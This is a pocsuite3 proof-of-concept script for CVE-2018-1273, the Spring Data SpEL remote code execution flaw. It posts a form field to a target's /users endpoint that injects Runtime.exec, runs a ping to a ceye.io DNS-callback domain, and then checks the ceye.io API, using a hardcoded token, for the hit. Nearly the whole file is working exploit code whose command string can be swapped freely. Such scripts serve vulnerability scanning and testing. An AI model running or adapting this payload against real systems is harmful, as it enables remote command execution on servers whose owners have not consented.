#!/usr/bin/env python
# _*_ encoding：utf-8 _*_

from pocsuite3.api import POCBase
from pocsuite3.api import register_poc
from pocsuite3.api import Output
from collections import OrderedDict
from pocsuite3.api import OptString
from pocsuite3.api import requests
from pocsuite3.lib.utils import random_str
import json

class Spring(POCBase):
    vulID = ''
    version = '1.0'
    author = ['big04dream']
    vulDate = '2020-04-02'
    createDate = '2020-06-30'
    updateDate = '2020-06-30'
    references = ['']
    name = 'Spring Expression Language 远程代码漏洞'
    appPowerLink = 'https://oss.sonatype.org/'
    appName = 'Spring Expression Language'
    appVersion = 'Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10), Spring Data REST 2.6 - 2.6.10 (Ingalls SR10),Spring Data Commons 2.0 to 2.0.5 (Kay SR5),Spring Data REST 3.0 - 3.0.5 (Kay SR5)  '
    vulType = 'rce'
    desc = '''
    Spring Expression Language SpEL 远程代码漏洞 (CVE-2018-1273)
    '''

    def _verify(self):
        result = {}
        try:
            target = self.url + '/users'
            cmd = random_str(16) + '.6eb4yw.ceye.io'
            cmd2 = 'ping ' + cmd
            payload = "username[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('%s')]=&password=&repeatedPassword=" % cmd2
            r = requests.post(target, data=payload, headers=self._headers)
            if r.status_code == 500:
                res = requests.get('http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns')
                if cmd in res:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = target
                    result['VerifyInfo']['Payload'] = payload
        except:
            pass
        return self.parse_output(result)

    @property
    def _headers(self):
        headers = {
            'Host': self.url,
            'Connection': "keep-alive",
            'Content-Length': "120",
            'Pragma': "no-cache",
            'Cache-Control': "no-cache",
            'Origin': self.url,
            'Upgrade-Insecure-Requests': "1",
            'Content-Type': "application/x-www-form-urlencoded",
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
            'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
            'Referer': "http://localhost:8080/users?page=0&size=5",
            'Accept-Encoding': "gzip, deflate, br",
            'Accept-Language': "zh-CN,zh;q=0.9,en;q=0.8"
        }
        return headers

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('not vulnerability')
        return output

register_poc(Spring)